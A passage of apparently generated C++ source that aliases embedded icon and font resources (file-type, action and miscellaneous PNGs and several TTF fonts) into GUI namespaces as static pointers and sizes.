static const unsigned char * _TESTNOTRAN_PNG = files::gui::misc::_TESTNOTRAN_PNG;
static const size_t _TESTNOTRAN_PNG_SIZE = files::gui::misc::_TESTNOTRAN_PNG_SIZE;
static const unsigned char * _TESTPASSED_PNG = files::gui::misc::_TESTPASSED_PNG;
static const size_t _TESTPASSED_PNG_SIZE = files::gui::misc::_TESTPASSED_PNG_SIZE;
static const unsigned char * _COMPILEDCLASSESFOLDER_PNG = files::gui::misc::_COMPILEDCLASSESFOLDER_PNG;
static const size_t _COMPILEDCLASSESFOLDER_PNG_SIZE = files::gui::misc::_COMPILEDCLASSESFOLDER_PNG_SIZE;
static const unsigned char * _TESTERROR_PNG = files::gui::misc::_TESTERROR_PNG;
static const size_t _TESTERROR_PNG_SIZE = files::gui::misc::_TESTERROR_PNG_SIZE;
static const unsigned char * _WEBTOOLWINDOW_PNG = files::gui::misc::_WEBTOOLWINDOW_PNG;
static const size_t _WEBTOOLWINDOW_PNG_SIZE = files::gui::misc::_WEBTOOLWINDOW_PNG_SIZE;
static const unsigned char * _EXTRACTEDFOLDER_PNG = files::gui::misc::_EXTRACTEDFOLDER_PNG;
static const size_t _EXTRACTEDFOLDER_PNG_SIZE = files::gui::misc::_EXTRACTEDFOLDER_PNG_SIZE;
static const unsigned char * _WEB_APP_PNG = files::gui::misc::_WEB_APP_PNG;
static const size_t _WEB_APP_PNG_SIZE = files::gui::misc::_WEB_APP_PNG_SIZE;
static const unsigned char * _ACTUALZOOM_PNG = files::gui::misc::_ACTUALZOOM_PNG;
static const size_t _ACTUALZOOM_PNG_SIZE = files::gui::misc::_ACTUALZOOM_PNG_SIZE;
static const unsigned char * _FOLDERS_PNG = files::gui::misc::_FOLDERS_PNG;
static const size_t _FOLDERS_PNG_SIZE = files::gui::misc::_FOLDERS_PNG_SIZE;
static const unsigned char * _METHODNOTDEFINED_PNG = files::gui::misc::_METHODNOTDEFINED_PNG;
static const size_t _METHODNOTDEFINED_PNG_SIZE = files::gui::misc::_METHODNOTDEFINED_PNG_SIZE;
static const unsigned char * _TESTFAILED_PNG = files::gui::misc::_TESTFAILED_PNG;
static const size_t _TESTFAILED_PNG_SIZE = files::gui::misc::_TESTFAILED_PNG_SIZE;
static const unsigned char * _PRINTPREVIEW_PNG = files::gui::misc::_PRINTPREVIEW_PNG;
static const size_t _PRINTPREVIEW_PNG_SIZE = files::gui::misc::_PRINTPREVIEW_PNG_SIZE;
static const unsigned char * _TOOLWINDOWMESSAGES_PNG = files::gui::misc::_TOOLWINDOWMESSAGES_PNG;
static const size_t _TOOLWINDOWMESSAGES_PNG_SIZE = files::gui::misc::_TOOLWINDOWMESSAGES_PNG_SIZE;
}
namespace gui::filetypes
{
static const unsigned char * _ANDROID_PNG = files::gui::filetypes::_ANDROID_PNG;
static const size_t _ANDROID_PNG_SIZE = files::gui::filetypes::_ANDROID_PNG_SIZE;
static const unsigned char * _PLAY_PNG = files::gui::filetypes::_PLAY_PNG;
static const size_t _PLAY_PNG_SIZE = files::gui::filetypes::_PLAY_PNG_SIZE;
static const unsigned char * _CMAKE_PNG = files::gui::filetypes::_CMAKE_PNG;
static const size_t _CMAKE_PNG_SIZE = files::gui::filetypes::_CMAKE_PNG_SIZE;
static const unsigned char * _CPP_PNG = files::gui::filetypes::_CPP_PNG;
static const size_t _CPP_PNG_SIZE = files::gui::filetypes::_CPP_PNG_SIZE;
static const unsigned char * _PSD_PNG = files::gui::filetypes::_PSD_PNG;
static const size_t _PSD_PNG_SIZE = files::gui::filetypes::_PSD_PNG_SIZE;
static const unsigned char * _FSHARP_PNG = files::gui::filetypes::_FSHARP_PNG;
static const size_t _FSHARP_PNG_SIZE = files::gui::filetypes::_FSHARP_PNG_SIZE;
static const unsigned char * _COFFEESCRIPT_PNG = files::gui::filetypes::_COFFEESCRIPT_PNG;
static const size_t _COFFEESCRIPT_PNG_SIZE = files::gui::filetypes::_COFFEESCRIPT_PNG_SIZE;
static const unsigned char * _SVN_PNG = files::gui::filetypes::_SVN_PNG;
static const size_t _SVN_PNG_SIZE = files::gui::filetypes::_SVN_PNG_SIZE;
static const unsigned char * _CONFIG_PNG = files::gui::filetypes::_CONFIG_PNG;
static const size_t _CONFIG_PNG_SIZE = files::gui::filetypes::_CONFIG_PNG_SIZE;
static const unsigned char * _DIFF_PNG = files::gui::filetypes::_DIFF_PNG;
static const size_t _DIFF_PNG_SIZE = files::gui::filetypes::_DIFF_PNG_SIZE;
static const unsigned char * _ACTIONSCRIPT_PNG = files::gui::filetypes::_ACTIONSCRIPT_PNG;
static const size_t _ACTIONSCRIPT_PNG_SIZE = files::gui::filetypes::_ACTIONSCRIPT_PNG_SIZE;
static const unsigned char * _CSHARP_PNG = files::gui::filetypes::_CSHARP_PNG;
static const size_t _CSHARP_PNG_SIZE = files::gui::filetypes::_CSHARP_PNG_SIZE;
static const unsigned char * _PYTHON_PNG = files::gui::filetypes::_PYTHON_PNG;
static const size_t _PYTHON_PNG_SIZE = files::gui::filetypes::_PYTHON_PNG_SIZE;
static const unsigned char * _VIDEO_PNG = files::gui::filetypes::_VIDEO_PNG;
static const size_t _VIDEO_PNG_SIZE = files::gui::filetypes::_VIDEO_PNG_SIZE;
static const unsigned char * _CLASS_PNG = files::gui::filetypes::_CLASS_PNG;
static const size_t _CLASS_PNG_SIZE = files::gui::filetypes::_CLASS_PNG_SIZE;
static const unsigned char * _BLANK_PNG = files::gui::filetypes::_BLANK_PNG;
static const size_t _BLANK_PNG_SIZE = files::gui::filetypes::_BLANK_PNG_SIZE;
static const unsigned char * _MAKEFILE_PNG = files::gui::filetypes::_MAKEFILE_PNG;
static const size_t _MAKEFILE_PNG_SIZE = files::gui::filetypes::_MAKEFILE_PNG_SIZE;
static const unsigned char * _GIT_PNG = files::gui::filetypes::_GIT_PNG;
static const size_t _GIT_PNG_SIZE = files::gui::filetypes::_GIT_PNG_SIZE;
static const unsigned char * _FONT_PNG = files::gui::filetypes::_FONT_PNG;
static const size_t _FONT_PNG_SIZE = files::gui::filetypes::_FONT_PNG_SIZE;
static const unsigned char * _CSV_PNG = files::gui::filetypes::_CSV_PNG;
static const size_t _CSV_PNG_SIZE = files::gui::filetypes::_CSV_PNG_SIZE;
static const unsigned char * _PDF_PNG = files::gui::filetypes::_PDF_PNG;
static const size_t _PDF_PNG_SIZE = files::gui::filetypes::_PDF_PNG_SIZE;
static const unsigned char * _MERCURIAL_PNG = files::gui::filetypes::_MERCURIAL_PNG;
static const size_t _MERCURIAL_PNG_SIZE = files::gui::filetypes::_MERCURIAL_PNG_SIZE;
static const unsigned char * _LUA_PNG = files::gui::filetypes::_LUA_PNG;
static const size_t _LUA_PNG_SIZE = files::gui::filetypes::_LUA_PNG_SIZE;
static const unsigned char * _TEXT_PNG = files::gui::filetypes::_TEXT_PNG;
static const size_t _TEXT_PNG_SIZE = files::gui::filetypes::_TEXT_PNG_SIZE;
static const unsigned char * _PATCH_PNG = files::gui::filetypes::_PATCH_PNG;
static const size_t _PATCH_PNG_SIZE = files::gui::filetypes::_PATCH_PNG_SIZE;
static const unsigned char * _DEFAULT_PNG = files::gui::filetypes::_DEFAULT_PNG;
static const size_t _DEFAULT_PNG_SIZE = files::gui::filetypes::_DEFAULT_PNG_SIZE;
static const unsigned char * _NOTE_PNG = files::gui::filetypes::_NOTE_PNG;
static const size_t _NOTE_PNG_SIZE = files::gui::filetypes::_NOTE_PNG_SIZE;
static const unsigned char * _AUDIO_PNG = files::gui::filetypes::_AUDIO_PNG;
static const size_t _AUDIO_PNG_SIZE = files::gui::filetypes::_AUDIO_PNG_SIZE;
static const unsigned char * _DOXYGEN_PNG = files::gui::filetypes::_DOXYGEN_PNG;
static const size_t _DOXYGEN_PNG_SIZE = files::gui::filetypes::_DOXYGEN_PNG_SIZE;
static const unsigned char * _CSS_PNG = files::gui::filetypes::_CSS_PNG;
static const size_t _CSS_PNG_SIZE = files::gui::filetypes::_CSS_PNG_SIZE;
static const unsigned char * _GITHUB_PNG = files::gui::filetypes::_GITHUB_PNG;
static const size_t _GITHUB_PNG_SIZE = files::gui::filetypes::_GITHUB_PNG_SIZE;
static const unsigned char * _PHP_PNG = files::gui::filetypes::_PHP_PNG;
static const size_t _PHP_PNG_SIZE = files::gui::filetypes::_PHP_PNG_SIZE;
static const unsigned char * _SQL_PNG = files::gui::filetypes::_SQL_PNG;
static const size_t _SQL_PNG_SIZE = files::gui::filetypes::_SQL_PNG_SIZE;
static const unsigned char * _README_PNG = files::gui::filetypes::_README_PNG;
static const size_t _README_PNG_SIZE = files::gui::filetypes::_README_PNG_SIZE;
static const unsigned char * _IMAGE_PNG = files::gui::filetypes::_IMAGE_PNG;
static const size_t _IMAGE_PNG_SIZE = files::gui::filetypes::_IMAGE_PNG_SIZE;
static const unsigned char * _LOG_PNG = files::gui::filetypes::_LOG_PNG;
static const size_t _LOG_PNG_SIZE = files::gui::filetypes::_LOG_PNG_SIZE;
static const unsigned char * _TODO_PNG = files::gui::filetypes::_TODO_PNG;
static const size_t _TODO_PNG_SIZE = files::gui::filetypes::_TODO_PNG_SIZE;
static const unsigned char * _EDITORCONFIG_PNG = files::gui::filetypes::_EDITORCONFIG_PNG;
static const size_t _EDITORCONFIG_PNG_SIZE = files::gui::filetypes::_EDITORCONFIG_PNG_SIZE;
static const unsigned char * _BINARY_PNG = files::gui::filetypes::_BINARY_PNG;
static const size_t _BINARY_PNG_SIZE = files::gui::filetypes::_BINARY_PNG_SIZE;
static const unsigned char * _BOOKMARK_PNG = files::gui::filetypes::_BOOKMARK_PNG;
static const size_t _BOOKMARK_PNG_SIZE = files::gui::filetypes::_BOOKMARK_PNG_SIZE;
static const unsigned char * _SETTINGS_PNG = files::gui::filetypes::_SETTINGS_PNG;
static const size_t _SETTINGS_PNG_SIZE = files::gui::filetypes::_SETTINGS_PNG_SIZE;
static const unsigned char * _SQLITE_PNG = files::gui::filetypes::_SQLITE_PNG;
static const size_t _SQLITE_PNG_SIZE = files::gui::filetypes::_SQLITE_PNG_SIZE;
static const unsigned char * _HH_PNG = files::gui::filetypes::_HH_PNG;
static const size_t _HH_PNG_SIZE = files::gui::filetypes::_HH_PNG_SIZE;
static const unsigned char * _JS_PNG = files::gui::filetypes::_JS_PNG;
static const size_t _JS_PNG_SIZE = files::gui::filetypes::_JS_PNG_SIZE;
static const unsigned char * _PREFERENCES_PNG = files::gui::filetypes::_PREFERENCES_PNG;
static const size_t _PREFERENCES_PNG_SIZE = files::gui::filetypes::_PREFERENCES_PNG_SIZE;
static const unsigned char * _XML_PNG = files::gui::filetypes::_XML_PNG;
static const size_t _XML_PNG_SIZE = files::gui::filetypes::_XML_PNG_SIZE;
static const unsigned char * _WINDOWS_PNG = files::gui::filetypes::_WINDOWS_PNG;
static const size_t _WINDOWS_PNG_SIZE = files::gui::filetypes::_WINDOWS_PNG_SIZE;
static const unsigned char * _JSON_PNG = files::gui::filetypes::_JSON_PNG;
static const size_t _JSON_PNG_SIZE = files::gui::filetypes::_JSON_PNG_SIZE;
static const unsigned char * _DOTNET_PNG = files::gui::filetypes::_DOTNET_PNG;
static const size_t _DOTNET_PNG_SIZE = files::gui::filetypes::_DOTNET_PNG_SIZE;
static const unsigned char * _VIM_PNG = files::gui::filetypes::_VIM_PNG;
static const size_t _VIM_PNG_SIZE = files::gui::filetypes::_VIM_PNG_SIZE;
static const unsigned char * _C_PNG = files::gui::filetypes::_C_PNG;
static const size_t _C_PNG_SIZE = files::gui::filetypes::_C_PNG_SIZE;
static const unsigned char * _EXCEL_PNG = files::gui::filetypes::_EXCEL_PNG;
static const size_t _EXCEL_PNG_SIZE = files::gui::filetypes::_EXCEL_PNG_SIZE;
static const unsigned char * _DB_PNG = files::gui::filetypes::_DB_PNG;
static const size_t _DB_PNG_SIZE = files::gui::filetypes::_DB_PNG_SIZE;
static const unsigned char * _TEST_PNG = files::gui::filetypes::_TEST_PNG;
static const size_t _TEST_PNG_SIZE = files::gui::filetypes::_TEST_PNG_SIZE;
static const unsigned char * _SOURCE_PNG = files::gui::filetypes::_SOURCE_PNG;
static const size_t _SOURCE_PNG_SIZE = files::gui::filetypes::_SOURCE_PNG_SIZE;
static const unsigned char * _HTML_PNG = files::gui::filetypes::_HTML_PNG;
static const size_t _HTML_PNG_SIZE = files::gui::filetypes::_HTML_PNG_SIZE;
static const unsigned char * _RUST_PNG = files::gui::filetypes::_RUST_PNG;
static const size_t _RUST_PNG_SIZE = files::gui::filetypes::_RUST_PNG_SIZE;
static const unsigned char * _LICENSE_PNG = files::gui::filetypes::_LICENSE_PNG;
static const size_t _LICENSE_PNG_SIZE = files::gui::filetypes::_LICENSE_PNG_SIZE;
static const unsigned char * _SHELL_PNG = files::gui::filetypes::_SHELL_PNG;
static const size_t _SHELL_PNG_SIZE = files::gui::filetypes::_SHELL_PNG_SIZE;
static const unsigned char * _VS_PNG = files::gui::filetypes::_VS_PNG;
static const size_t _VS_PNG_SIZE = files::gui::filetypes::_VS_PNG_SIZE;
}
namespace gui::fonts
{
static const unsigned char * _COUSINE_REGULAR_TTF = files::gui::fonts::_COUSINE_REGULAR_TTF;
static const size_t _COUSINE_REGULAR_TTF_SIZE = files::gui::fonts::_COUSINE_REGULAR_TTF_SIZE;
static const unsigned char * _KARLA_REGULAR_TTF = files::gui::fonts::_KARLA_REGULAR_TTF;
static const size_t _KARLA_REGULAR_TTF_SIZE = files::gui::fonts::_KARLA_REGULAR_TTF_SIZE;
static const unsigned char * _PROGGYCLEAN_TTF = files::gui::fonts::_PROGGYCLEAN_TTF;
static const size_t _PROGGYCLEAN_TTF_SIZE = files::gui::fonts::_PROGGYCLEAN_TTF_SIZE;
static const unsigned char * _PROGGYTINY_TTF = files::gui::fonts::_PROGGYTINY_TTF;
static const size_t _PROGGYTINY_TTF_SIZE = files::gui::fonts::_PROGGYTINY_TTF_SIZE;
static const unsigned char * _VERA_TTF = files::gui::fonts::_VERA_TTF;
static const size_t _VERA_TTF_SIZE = files::gui::fonts::_VERA_TTF_SIZE;
static const unsigned char * _ROBOTO_MEDIUM_TTF = files::gui::fonts::_ROBOTO_MEDIUM_TTF;
static const size_t _ROBOTO_MEDIUM_TTF_SIZE = files::gui::fonts::_ROBOTO_MEDIUM_TTF_SIZE;
static const unsigned char * _DROIDSANS_TTF = files::gui::fonts::_DROIDSANS_TTF;
static const size_t _DROIDSANS_TTF_SIZE = files::gui::fonts::_DROIDSANS_TTF_SIZE;
static const unsigned char * _8_BIT_WONDER_TTF = files::gui::fonts::_8_BIT_WONDER_TTF;
static const size_t _8_BIT_WONDER_TTF_SIZE = files::gui::fonts::_8_BIT_WONDER_TTF_SIZE;
}
namespace gui::actions
{
static const unsigned char * _PREVFILE_PNG = files::gui::actions::_PREVFILE_PNG;
static const size_t _PREVFILE_PNG_SIZE = files::gui::actions::_PREVFILE_PNG_SIZE;
static const unsigned char * _SHOWWRITEACCESS_PNG = files::gui::actions::_SHOWWRITEACCESS_PNG;
static const size_t _SHOWWRITEACCESS_PNG_SIZE = files::gui::actions::_SHOWWRITEACCESS_PNG_SIZE;
static const unsigned char * _MOVEUP_PNG = files::gui::actions::_MOVEUP_PNG;
static const size_t _MOVEUP_PNG_SIZE = files::gui::actions::_MOVEUP_PNG_SIZE;
static const unsigned char * _PREVIOUSOCCURENCE_PNG = files::gui::actions::_PREVIOUSOCCURENCE_PNG;
static const size_t _PREVIOUSOCCURENCE_PNG_SIZE = files::gui::actions::_PREVIOUSOCCURENCE_PNG_SIZE;
static const unsigned char * _FORCEREFRESH_PNG = files::gui::actions::_FORCEREFRESH_PNG;
static const size_t _FORCEREFRESH_PNG_SIZE = files::gui::actions::_FORCEREFRESH_PNG_SIZE;
static const unsigned char * _CHECKED_SMALL_SELECTED_PNG = files::gui::actions::_CHECKED_SMALL_SELECTED_PNG;
static const size_t _CHECKED_SMALL_SELECTED_PNG_SIZE = files::gui::actions::_CHECKED_SMALL_SELECTED_PNG_SIZE;
static const unsigned char * _STEPOUT_PNG = files::gui::actions::_STEPOUT_PNG;
static const size_t _STEPOUT_PNG_SIZE = files::gui::actions::_STEPOUT_PNG_SIZE;
static const unsigned char * _RESTART_PNG = files::gui::actions::_RESTART_PNG;
static const size_t _RESTART_PNG_SIZE = files::gui::actions::_RESTART_PNG_SIZE;
static const unsigned char * _HELP_PNG = files::gui::actions::_HELP_PNG;
static const size_t _HELP_PNG_SIZE = files::gui::actions::_HELP_PNG_SIZE;
static const unsigned char * _REPLACE_PNG = files::gui::actions::_REPLACE_PNG;
static const size_t _REPLACE_PNG_SIZE = files::gui::actions::_REPLACE_PNG_SIZE;
static const unsigned char * _STARTDEBUGGER_PNG = files::gui::actions::_STARTDEBUGGER_PNG;
static const size_t _STARTDEBUGGER_PNG_SIZE = files::gui::actions::_STARTDEBUGGER_PNG_SIZE;
static const unsigned char * _QUICKFIXBULB_PNG = files::gui::actions::_QUICKFIXBULB_PNG;
static const size_t _QUICKFIXBULB_PNG_SIZE = files::gui::actions::_QUICKFIXBULB_PNG_SIZE;
static const unsigned char * _SHOWVIEWER_PNG = files::gui::actions::_SHOWVIEWER_PNG;
static const size_t _SHOWVIEWER_PNG_SIZE = files::gui::actions::_SHOWVIEWER_PNG_SIZE;
static const unsigned char * _NEXTOCCURENCE_PNG = files::gui::actions::_NEXTOCCURENCE_PNG;
static const size_t _NEXTOCCURENCE_PNG_SIZE = files::gui::actions::_NEXTOCCURENCE_PNG_SIZE;
static const unsigned char * _UNINSTALL_PNG = files::gui::actions::_UNINSTALL_PNG;
static const size_t _UNINSTALL_PNG_SIZE = files::gui::actions::_UNINSTALL_PNG_SIZE;
static const unsigned char * _SELECTALL_PNG = files::gui::actions::_SELECTALL_PNG;
static const size_t _SELECTALL_PNG_SIZE = files::gui::actions::_SELECTALL_PNG_SIZE;
static const unsigned char * _INSTALL_PNG = files::gui::actions::_INSTALL_PNG;
static const size_t _INSTALL_PNG_SIZE = files::gui::actions::_INSTALL_PNG_SIZE;
static const unsigned char * _EXECUTE_PNG = files::gui::actions::_EXECUTE_PNG;
static const size_t _EXECUTE_PNG_SIZE = files::gui::actions::_EXECUTE_PNG_SIZE;
static const unsigned char * _UNSHARE_PNG = files::gui::actions::_UNSHARE_PNG;
static const size_t _UNSHARE_PNG_SIZE = files::gui::actions::_UNSHARE_PNG_SIZE;
static const unsigned char * _DIFF_PNG = files::gui::actions::_DIFF_PNG;
static const size_t _DIFF_PNG_SIZE = files::gui::actions::_DIFF_PNG_SIZE;
static const unsigned char * _SHOWHIDDENS_PNG = files::gui::actions::_SHOWHIDDENS_PNG;
static const size_t _SHOWHIDDENS_PNG_SIZE = files::gui::actions::_SHOWHIDDENS_PNG_SIZE;
static const unsigned char * _MOVEDOWN_PNG = files::gui::actions::_MOVEDOWN_PNG;
static const size_t _MOVEDOWN_PNG_SIZE = files::gui::actions::_MOVEDOWN_PNG_SIZE;
static const unsigned char * _FORWARD_PNG = files::gui::actions::_FORWARD_PNG;
static const size_t _FORWARD_PNG_SIZE = files::gui::actions::_FORWARD_PNG_SIZE;
static const unsigned char * _PROFILE_PNG = files::gui::actions::_PROFILE_PNG;
static const size_t _PROFILE_PNG_SIZE = files::gui::actions::_PROFILE_PNG_SIZE;
static const unsigned char * _QUICKLIST_PNG = files::gui::actions::_QUICKLIST_PNG;
static const size_t _QUICKLIST_PNG_SIZE = files::gui::actions::_QUICKLIST_PNG_SIZE;
static const unsigned char * _MENU_SAVEALL_PNG = files::gui::actions::_MENU_SAVEALL_PNG;
static const size_t _MENU_SAVEALL_PNG_SIZE = files::gui::actions::_MENU_SAVEALL_PNG_SIZE;
static const unsigned char * _MENU_CUT_PNG = files::gui::actions::_MENU_CUT_PNG;
static const size_t _MENU_CUT_PNG_SIZE = files::gui::actions::_MENU_CUT_PNG_SIZE;
static const unsigned char * _EXPORT_PNG = files::gui::actions::_EXPORT_PNG;
static const size_t _EXPORT_PNG_SIZE = files::gui::actions::_EXPORT_PNG_SIZE;
static const unsigned char * _SORTDESC_PNG = files::gui::actions::_SORTDESC_PNG;
static const size_t _SORTDESC_PNG_SIZE = files::gui::actions::_SORTDESC_PNG_SIZE;
static const unsigned char * _EXCLUDE_PNG = files::gui::actions::_EXCLUDE_PNG;
static const size_t _EXCLUDE_PNG_SIZE = files::gui::actions::_EXCLUDE_PNG_SIZE;
static const unsigned char * _COLLAPSEALL_PNG = files::gui::actions::_COLLAPSEALL_PNG;
static const size_t _COLLAPSEALL_PNG_SIZE = files::gui::actions::_COLLAPSEALL_PNG_SIZE;
static const unsigned char * _MOVETO2_PNG = files::gui::actions::_MOVETO2_PNG;
static const size_t _MOVETO2_PNG_SIZE = files::gui::actions::_MOVETO2_PNG_SIZE;
static const unsigned char * _SHORTCUTFILTER_PNG = files::gui::actions::_SHORTCUTFILTER_PNG;
static const size_t _SHORTCUTFILTER_PNG_SIZE = files::gui::actions::_SHORTCUTFILTER_PNG_SIZE;
static const unsigned char * _PREVIEWDETAILS_PNG = files::gui::actions::_PREVIEWDETAILS_PNG;
static const size_t _PREVIEWDETAILS_PNG_SIZE = files::gui::actions::_PREVIEWDETAILS_PNG_SIZE;
static const unsigned char * _LAYERS_PNG = files::gui::actions::_LAYERS_PNG;
static const size_t _LAYERS_PNG_SIZE = files::gui::actions::_LAYERS_PNG_SIZE;
static const unsigned char * _RERUN_PNG = files::gui::actions::_RERUN_PNG;
static const size_t _RERUN_PNG_SIZE = files::gui::actions::_RERUN_PNG_SIZE;
static const unsigned char * _MENU_OPEN_PNG = files::gui::actions::_MENU_OPEN_PNG;
static const size_t _MENU_OPEN_PNG_SIZE = files::gui::actions::_MENU_OPEN_PNG_SIZE;
static const unsigned char * _GET_PNG = files::gui::actions::_GET_PNG;
static const size_t _GET_PNG_SIZE = files::gui::actions::_GET_PNG_SIZE;
static const unsigned char * _MATERIAL_THEME_PNG = files::gui::actions::_MATERIAL_THEME_PNG;
static const size_t _MATERIAL_THEME_PNG_SIZE = files::gui::actions::_MATERIAL_THEME_PNG_SIZE;
static const unsigned char * _BACK_PNG = files::gui::actions::_BACK_PNG;
static const size_t _BACK_PNG_SIZE = files::gui::actions::_BACK_PNG_SIZE;
static const unsigned char * _TRACEINTO_PNG = files::gui::actions::_TRACEINTO_PNG;
static const size_t _TRACEINTO_PNG_SIZE = files::gui::actions::_TRACEINTO_PNG_SIZE;
static const unsigned char * _CHECKED_SELECTED_PNG = files::gui::actions::_CHECKED_SELECTED_PNG;
static const size_t _CHECKED_SELECTED_PNG_SIZE = files::gui::actions::_CHECKED_SELECTED_PNG_SIZE;
static const unsigned char * _DUMP_PNG = files::gui::actions::_DUMP_PNG;
static const size_t _DUMP_PNG_SIZE = files::gui::actions::_DUMP_PNG_SIZE;
static const unsigned char * _MENU_REPLACE_PNG = files::gui::actions::_MENU_REPLACE_PNG;
static const size_t _MENU_REPLACE_PNG_SIZE = files::gui::actions::_MENU_REPLACE_PNG_SIZE;
static const unsigned char * _FIND_PNG = files::gui::actions::_FIND_PNG;
static const size_t _FIND_PNG_SIZE = files::gui::actions::_FIND_PNG_SIZE;
static const unsigned char * _CHECKED_PNG = files::gui::actions::_CHECKED_PNG;
static const size_t _CHECKED_PNG_SIZE = files::gui::actions::_CHECKED_PNG_SIZE;
static const unsigned char * _GC_PNG = files::gui::actions::_GC_PNG;
static const size_t _GC_PNG_SIZE = files::gui::actions::_GC_PNG_SIZE;
static const unsigned char * _SHOWASTREE_PNG = files::gui::actions::_SHOWASTREE_PNG;
static const size_t _SHOWASTREE_PNG_SIZE = files::gui::actions::_SHOWASTREE_PNG_SIZE;
static const unsigned char * _CHECKED_SMALL_PNG = files::gui::actions::_CHECKED_SMALL_PNG;
static const size_t _CHECKED_SMALL_PNG_SIZE = files::gui::actions::_CHECKED_SMALL_PNG_SIZE;
static const unsigned char * _NEWFOLDER_PNG = files::gui::actions::_NEWFOLDER_PNG;
static const size_t _NEWFOLDER_PNG_SIZE = files::gui::actions::_NEWFOLDER_PNG_SIZE;
static const unsigned char * _RESET_PNG = files::gui::actions::_RESET_PNG;
static const size_t _RESET_PNG_SIZE = files::gui::actions::_RESET_PNG_SIZE;
static const unsigned char * _MENU_HELP_PNG = files::gui::actions::_MENU_HELP_PNG;
static const size_t _MENU_HELP_PNG_SIZE = files::gui::actions::_MENU_HELP_PNG_SIZE;
static const unsigned char * _EDIT_PNG = files::gui::actions::_EDIT_PNG;
static const size_t _EDIT_PNG_SIZE = files::gui::actions::_EDIT_PNG_SIZE;
static const unsigned char * _PROFILECPU_PNG = files::gui::actions::_PROFILECPU_PNG;
static const size_t _PROFILECPU_PNG_SIZE = files::gui::actions::_PROFILECPU_PNG_SIZE;
static const unsigned char * _SEARCH_PNG = files::gui::actions::_SEARCH_PNG;
static const size_t _SEARCH_PNG_SIZE = files::gui::actions::_SEARCH_PNG_SIZE;
static const unsigned char * _SHOWCHANGESONLY_PNG = files::gui::actions::_SHOWCHANGESONLY_PNG;
static const size_t _SHOWCHANGESONLY_PNG_SIZE = files::gui::actions::_SHOWCHANGESONLY_PNG_SIZE;
static const unsigned char * _CLOSEHOVERED_PNG = files::gui::actions::_CLOSEHOVERED_PNG;
static const size_t _CLOSEHOVERED_PNG_SIZE = files::gui::actions::_CLOSEHOVERED_PNG_SIZE;
static const unsigned char * _COPY_PNG = files::gui::actions::_COPY_PNG;
static const size_t _COPY_PNG_SIZE = files::gui::actions::_COPY_PNG_SIZE;
static const unsigned char * _CLOSE_PNG = files::gui::actions::_CLOSE_PNG;
static const size_t _CLOSE_PNG_SIZE = files::gui::actions::_CLOSE_PNG_SIZE;
static const unsigned char * _UNSELECTALL_PNG = files::gui::actions::_UNSELECTALL_PNG;
static const size_t _UNSELECTALL_PNG_SIZE = files::gui::actions::_UNSELECTALL_PNG_SIZE;
static const unsigned char * _CLEAN_PNG = files::gui::actions::_CLEAN_PNG;
static const size_t _CLEAN_PNG_SIZE = files::gui::actions::_CLEAN_PNG_SIZE;
static const unsigned char * _SPLITHORIZONTALLY_PNG = files::gui::actions::_SPLITHORIZONTALLY_PNG;
static const size_t _SPLITHORIZONTALLY_PNG_SIZE = files::gui::actions::_SPLITHORIZONTALLY_PNG_SIZE;
static const unsigned char * _SWAPPANELS_PNG = files::gui::actions::_SWAPPANELS_PNG;
static const size_t _SWAPPANELS_PNG_SIZE = files::gui::actions::_SWAPPANELS_PNG_SIZE;
static const unsigned char * _EDITSOURCE_PNG = files::gui::actions::_EDITSOURCE_PNG;
static const size_t _EDITSOURCE_PNG_SIZE = files::gui::actions::_EDITSOURCE_PNG_SIZE;
static const unsigned char * _DOWNLOAD_PNG = files::gui::actions::_DOWNLOAD_PNG;
static const size_t _DOWNLOAD_PNG_SIZE = files::gui::actions::_DOWNLOAD_PNG_SIZE;
static const unsigned char * _EXIT_PNG = files::gui::actions::_EXIT_PNG;
static const size_t _EXIT_PNG_SIZE = files::gui::actions::_EXIT_PNG_SIZE;
static const unsigned char * _NEW_PNG = files::gui::actions::_NEW_PNG;
static const size_t _NEW_PNG_SIZE = files::gui::actions::_NEW_PNG_SIZE;
static const unsigned char * _ROLLBACK_PNG = files::gui::actions::_ROLLBACK_PNG;
static const size_t _ROLLBACK_PNG_SIZE = files::gui::actions::_ROLLBACK_PNG_SIZE;
static const unsigned char * _DELETE_PNG = files::gui::actions::_DELETE_PNG;
static const size_t _DELETE_PNG_SIZE = files::gui::actions::_DELETE_PNG_SIZE;
static const unsigned char * _REFRESH_PNG = files::gui::actions::_REFRESH_PNG;
static const size_t _REFRESH_PNG_SIZE = files::gui::actions::_REFRESH_PNG_SIZE;
static const unsigned char * _SYNCHRONIZEFS_PNG = files::gui::actions::_SYNCHRONIZEFS_PNG;
static const size_t _SYNCHRONIZEFS_PNG_SIZE = files::gui::actions::_SYNCHRONIZEFS_PNG_SIZE;
static const unsigned char * _REDO_PNG = files::gui::actions::_REDO_PNG;
static const size_t _REDO_PNG_SIZE = files::gui::actions::_REDO_PNG_SIZE;
static const unsigned char * _SHOWIMPORTSTATEMENTS_PNG = files::gui::actions::_SHOWIMPORTSTATEMENTS_PNG;
static const size_t _SHOWIMPORTSTATEMENTS_PNG_SIZE = files::gui::actions::_SHOWIMPORTSTATEMENTS_PNG_SIZE;
static const unsigned char * _UPLOAD_PNG = files::gui::actions::_UPLOAD_PNG;
static const size_t _UPLOAD_PNG_SIZE = files::gui::actions::_UPLOAD_PNG_SIZE;
static const unsigned char * _RUNTOCURSOR_PNG = files::gui::actions::_RUNTOCURSOR_PNG;
static const size_t _RUNTOCURSOR_PNG_SIZE = files::gui::actions::_RUNTOCURSOR_PNG_SIZE;
static const unsigned char * _SUBMIT1_PNG = files::gui::actions::_SUBMIT1_PNG;
static const size_t _SUBMIT1_PNG_SIZE = files::gui::actions::_SUBMIT1_PNG_SIZE;
static const unsigned char * _PAUSE_PNG = files::gui::actions::_PAUSE_PNG;
static const size_t _PAUSE_PNG_SIZE = files::gui::actions::_PAUSE_PNG_SIZE;
static const unsigned char * _TRACEOVER_PNG = files::gui::actions::_TRACEOVER_PNG;
static const size_t _TRACEOVER_PNG_SIZE = files::gui::actions::_TRACEOVER_PNG_SIZE;
static const unsigned char * _NEXTFILE_PNG = files::gui::actions::_NEXTFILE_PNG;
static const size_t _NEXTFILE_PNG_SIZE = files::gui::actions::_NEXTFILE_PNG_SIZE;
static const unsigned char * _SPLITVERTICALLY_PNG = files::gui::actions::_SPLITVERTICALLY_PNG;
static const size_t _SPLITVERTICALLY_PNG_SIZE = files::gui::actions::_SPLITVERTICALLY_PNG_SIZE;
static const unsigned char * _COMPACTSTATUSBAR_PNG = files::gui::actions::_COMPACTSTATUSBAR_PNG;
